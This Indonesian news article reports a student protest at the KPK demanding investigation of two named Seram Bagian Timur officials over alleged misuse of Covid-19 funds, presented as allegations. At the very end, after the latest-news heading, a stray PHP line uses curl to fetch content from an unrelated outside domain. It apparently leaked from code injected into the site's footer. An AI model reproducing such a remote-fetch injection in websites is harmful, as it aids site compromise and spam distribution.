KPK Didesak Menindak Lanjuti Kasus Dugaan Korupsi Anggaran Covid -19 

Kamis, 13 Januari 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jakarta l Jejakkasus.info – Puluhan Mahasiswa Dan Pemuda yang tergabung dalam. Himpunan Pemuda Pelajar Mahasiswa Seram Bagian timur (HIPPM SBT- Jakarta) Menyembangai Komisi Pemberantasan Korupsi (KPK) Prihal Menuntuk Komisi Pembarantasan Korupsi Menindak Lanjuti Kasus Dugaan Korupsi Anggaran Covid -19 Senilai 6,2 Miliyar yang melibatkan Kepala BPBD dan Kepala Dinas Koperindag Kab. Seram Bagian Timur

Koordinator Aksi Ambri, Mengatakan terkait dengan pemeriksaan Kejaksaan Negeri Kab. Seram Bagian Timur (KEJARI-SBT) terhadap Kepala BPBD SBT Usman Keliobas atau mantan ketua gugus tugas covid 19 pada hari jumat 21/05/2021 dikantor kejari Kab. Seram Bagian Timur (SBT) karena diduga terlibat dalam tindak pidana korupsi Anggaran covid 19 di Kab. Seram Bagian Timur {SBT}, yang merugikan Negara sebesar 3,7 Miliar yang telah di beritakan oleh beberapa media lokal di maluku/sbt.

“Kasus dugaan penyelewengan anggaran yang diduga melibatkan Usman Keliobas harus di usust tuntas, karena itu uang rakyat yang tidak boleh disalah gunakan untuk kepentingan pribadi atau kelompok tertentu, karena itu sangat jelas menyalahi aturan yang telah dalam Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi,” Ungkapnya.

Baca Juga:  Binrohtal Akan Bentuk Karakter Anggota Polri Lebih Humanis

Sehingga kami yang tergabung dalam HIMPUNAN PEMUDA PELJAR MAHASISWA SERAM BAGIAN TIMUR (HIPPMA SBT-JAKARTA) tentu berharap agar Kejaksaan Negeri Kab. Seram Bagian Timur (SBT) tegas dalam menyikapi kasus tersebut. Karena korupsi itu adalah perbuatan yang sangat menjijikkan dan tidak dibenarkan oleh aturan di bangsa ini.

“Sebetulnya kasus ini sudah terjadi pada dua tahun yang lalu, bahkan Kejaksaan Negeri Kab. Seram Bagian Timur (SBT) juga sudah dua kali melakukan pemeriksaan terhadap Usman Keliobas” Ujar Korlap Aksi Ambri Didepan Komisi Pemberantasan Korupsi (KPI) pada Kamis 13/01/2022.

Namun, “belum juga jaksa mengetahui siapa aktor dibalik penyelewengan anggaran bansos 3,7 miliar teraebut. MUSTAHIL!!lembaga sekelas Kejaksaan Negeri Kab. Seram Bagian Timur (SBT) tidak berdaya dalam mengungkapkan kasus Usman Keliobas yang diduga merugikan uang negara sebesar 3,7 miliar tersebut,” Tambahnya.

Baca Juga:  Telan anggaran APDes, Kades Pelanduk- Mandah Sidang Kasus Korupsi

Hal tersebut di atas Kata Ambri, juga terjadi pada Adam Rumbalifar selaku Kepala Dinas Koperindag di Kab. Seram Bagian Timur (SBT), diduga juga terlibat dalam penyelewangan dana bansos covid 19 2020 senilai 2,5 miliar.

“Kami meminta kepada kejaksaan Negeri Kab. Seram Bagian Timur (SBT), agar segera panggil dan periksa saudara Adam Rumbalifar atas dugaan penyelewangan anggaran bansos 2,5 miliar di dinas koperindag, karena sampai saat ini dana bansos covid 19 senilai 2,5 miliar itu belum ada laporan pertanggungjawannya dari dinas koperindag yang dipimpin oleh Adam Rumbalifar,” Tegasnya Saat Berorasi.

Harapnya, Kejari di Kab. Seram Bagian Timur (SBT) harus tegas dalam menindak semua kasus korpsi yang terjadi di kab.Seram Bagian Timur (SBT) agar tidak terlihat lemah di hapan publik dalam menyikapi persoalan korupsi di kab. SBT.

“Kami Mahasiswa dan pemuda Asal SBT di Jakarta juga akan membantu Kejaksaan Negeri Kab. Seram Bagian Timur (SBT) untuk mengawal dua kasus tersebut di atas sampai tuntas”, pungkasya.

Baca Juga:  Bhabinkamtibmas Kebon Baru Monitoring Test Swab Pelajar

Selain itu juga, Mahasiswa dan Pemuda
yang tergabung dalam Himpunan Pemuda Pelajar Mahasiswa Seram Bagian Timur (HIPPMA SBT- Jakarta) menyampaikan beberapa poin tuntutan sebagai berikut :

1, Mendesak Komisi Pemberantasan Korupsi Segera Panggil dan Periksa Kepala BPBD dan Kepala Dinas Koperindag Kab. Seram Bagian Timur Atas Dugaan Kasus Korupsi Anggaran Covid 19 sebesar 6,2 Miliar di Kab. Seram Bagian

2, Meminta Kejaksaan Agung RI untuk segera mendesak Kejari SBT, untuk menindak lanjuti laporan dugaan kasus tindak pidana korupsi anggaran covid 19 senilai Rp. 6,2 miliar yang diduga melibatkan Kepala BPBD dan Kepala Dinas Koperindag Kab. SBT yakni Usman Keliobas dan Adam Rumbalifar.

3, Meminta Kejagung RI untuk Mengevaluasi dan copot Kepala Kejaksaan Negeri Kab. Seram Bagian Timur Muhammad Ilham apa bilah tidak mampu menindaklanjuti kasus tersebut. (Redaksi)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat
Perdana SEKDA Tanjab Barat berikan Arahan dalam Rakor KADES dan BPD
Bupati Tanjab Barat lantik Hermansyah sebagai Sekda

Berita Terkait

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Senin, 23 September 2024 - 21:52 WIB

KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 

Minggu, 22 September 2024 - 11:04 WIB

Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>